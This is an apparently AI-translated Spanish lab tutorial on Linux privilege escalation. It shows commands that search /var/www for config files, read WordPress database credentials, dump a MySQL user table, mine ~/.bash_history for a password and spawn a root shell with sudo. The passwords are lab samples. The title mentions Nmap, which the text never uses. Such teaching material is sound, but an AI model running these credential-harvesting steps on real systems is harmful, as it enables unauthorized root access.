Encontrar y Explotar Archivos de Configuración Sensibles para la Escalada de Privilegios en Nmap

Beginner

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderemos cómo encontrar y explotar archivos de configuración sensibles en un sistema Linux para elevar nuestros privilegios a root. El objetivo es adquirir una comprensión más profunda de los archivos de configuración de servicios web y los archivos de configuración relacionados con los usuarios, y cómo aprovecharlos para la escalada de privilegios. Asumiremos que ya hemos obtenido una shell de bajo privilegio, como el usuario www-data, a través de una vulnerabilidad web, y exploraremos técnicas para elevar nuestro acceso a root.


Skills Graph

Investigación de archivos de configuración de servicios web

Los archivos de configuración de servicios web pueden contener información sensible, como credenciales de base de datos, que se pueden utilizar para la escalada de privilegios si el administrador ha reutilizado contraseñas.

  1. Primero, abre una terminal y navega hasta /home/labex/project.

    cd /home/labex/project

    Comencemos inicializando el entorno del laboratorio:

    ./env_setup_1.sh

    Después de la inicialización, ahora estamos operando como el usuario www-data, simulando una shell de bajo privilegio obtenida a través de una vulnerabilidad web.

  2. Los servicios web en Linux se almacenan típicamente en el directorio /var/www. Debemos centrarnos en los siguientes archivos:

    • database.php
    • user.php
    • *.config
    • config.php

    Podemos buscar estos archivos utilizando el siguiente comando:

    find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2> /dev/null

    Salida esperada:

    /var/www/wordpress/wp-admin/includes/user.php
    /var/www/wordpress/wp-includes/user.php
    /var/www/wordpress/wp-content/plugins/akismet/views/config.php

    Además, si el sistema objetivo está utilizando un Sistema de Gestión de Contenidos (CMS, por sus siglas en inglés), podemos buscar la ubicación del archivo de conexión a la base de datos predeterminado para ese CMS específico.

  3. En este entorno de laboratorio, el servidor está utilizando el CMS WordPress. Al buscar, encontramos que la configuración de la base de datos de WordPress se almacena en el archivo /var/www/wordpress/wp-config.php:

    more /var/www/wordpress/wp-config.php

    Este archivo contiene las credenciales de la cuenta root de MySQL:

    /** MySQL database username */
    define( 'DB_USER', 'root' );
    
    /** MySQL database password */
    define( 'DB_PASSWORD', 'cD8M2M8fMiDHu4m1' );
  4. Teniendo en cuenta la posibilidad de que el administrador haya reutilizado la contraseña, podemos intentar iniciar sesión como el usuario root del sistema utilizando esta contraseña:

    su -

    Desafortunadamente, esta contraseña no funciona para el usuario root.

  5. A continuación, podemos iniciar sesión en la base de datos MySQL y buscar más información:

    mysql -u root -p -h 127.0.0.1

    Ingresa la contraseña del archivo wp-config.php:

    cD8M2M8fMiDHu4m1

    Dentro de la base de datos MySQL, podemos ejecutar los siguientes comandos para recopilar más información:

    Verifica las bases de datos disponibles:

    show databases;

    Selecciona la base de datos ROB:

    use ROB;

    Lista las tablas en la base de datos ROB:

    show tables;

    Selecciona la tabla rob_user:

    select * from rob_user;

    De la base de datos, obtenemos dos conjuntos más de credenciales:

    root:CMPc5MoAGf
    alice:psoj9apv4u

    Sal de la base de datos MySQL:

    exit
  6. Podemos intentar iniciar sesión como el usuario root utilizando la contraseña CMPc5MoAGf:

    su -

    Ingresa la contraseña que obtuvimos de la base de datos:

    CMPc5MoAGf

    ¡Esta vez, obtenemos acceso root con éxito!

  7. Crea un archivo llamado proof.txt en el directorio /root para demostrar la escalada de privilegios exitosa:

    echo "Success" > /root/proof.txt

    Verifica que el archivo se haya creado:

    ls /root/proof.txt

En este paso, aprendimos cómo encontrar y explotar información sensible en archivos de configuración de servicios web para escalar privilegios. La idea central es buscar credenciales de autenticación en el servidor y aprovechar la posible reutilización de contraseñas para la escalada de privilegios.

Investigación de archivos de configuración relacionados con usuarios

En este paso, nos centraremos en los archivos de configuración relacionados con usuarios que pueden contener información sensible.

Después del último paso, es posible que todavía estés en la shell de root. Para este paso, cambiaremos de nuevo al usuario labex ejecutando el siguiente comando:

su - labex
  1. Primero, navega hasta /home/labex/project.

    cd /home/labex/project

    Comencemos inicializando el entorno del laboratorio:

    ./env_setup_2.sh

    Después de la inicialización, ahora estamos operando como el usuario user001.

  2. Los dos principales archivos de configuración relacionados con usuarios a investigar son:

    • ~/.bash_profile: Se utiliza para configurar variables de entorno y programas de inicio. Este archivo se ejecuta cuando un usuario inicia sesión (login).
    • ~/.bash_history: Un archivo en el directorio personal de cada usuario que registra el historial de comandos de la shell del usuario, normalmente almacenando los últimos 1000 comandos (esta función puede estar deshabilitada en algunas distribuciones de Linux).
  3. Comencemos comprobando el archivo ~/.bash_profile:

    cat ~/.bash_profile

    Salida esperada:

    cat: /home/user001/.bash_profile: No such file or directory

    En este caso, el usuario user001 no parece estar utilizando el archivo ~/.bash_profile.

  4. A continuación, comprobemos el archivo ~/.bash_history:

    cat ~/.bash_history

    Aquí, encontramos un comando registrado en el historial:

    ...
    echo user001:09FMWNFS7n | chpasswd
    ...

    Este comando sugiere que la contraseña del usuario user001 se ha cambiado a 09FMWNFS7n.

  5. Podemos intentar utilizar esta contraseña para obtener privilegios elevados:

    sudo whoami

    Y ingresamos la contraseña que encontramos en el archivo ~/.bash_history:

    09FMWNFS7n

    La contraseña funciona, y podemos ejecutar comandos con privilegios sudo.

  6. Para obtener una shell de root, podemos utilizar el siguiente comando:

    sudo /bin/bash -p

    Hemos obtenido con éxito una shell de root explotando información del historial de comandos del usuario.

  7. Finalmente, crea un archivo llamado success.txt en el directorio /root para completar el laboratorio:

    echo "Congratulations" | sudo tee /root/success.txt

Resumen

En este laboratorio, aprendimos cómo encontrar y explotar información sensible en archivos de configuración de servicios web y archivos de configuración relacionados con usuarios para escalar privilegios en un sistema Linux. Exploramos técnicas para buscar archivos que pueden contener credenciales de autenticación, como archivos de conexión a bases de datos, historial de comandos de usuarios y otros archivos de configuración. Al aprovechar la posible reutilización de contraseñas, pudimos obtener acceso root.

La principal lección es que siempre debemos estar atentos a la información sensible almacenada en el sistema, ya que puede conducir potencialmente a la escalada de privilegios. Si bien este laboratorio se centró en tipos específicos de archivos, es esencial mantener una mentalidad de búsqueda continua de cualquier archivo o información que pueda ser explotada con fines de escalada de privilegios.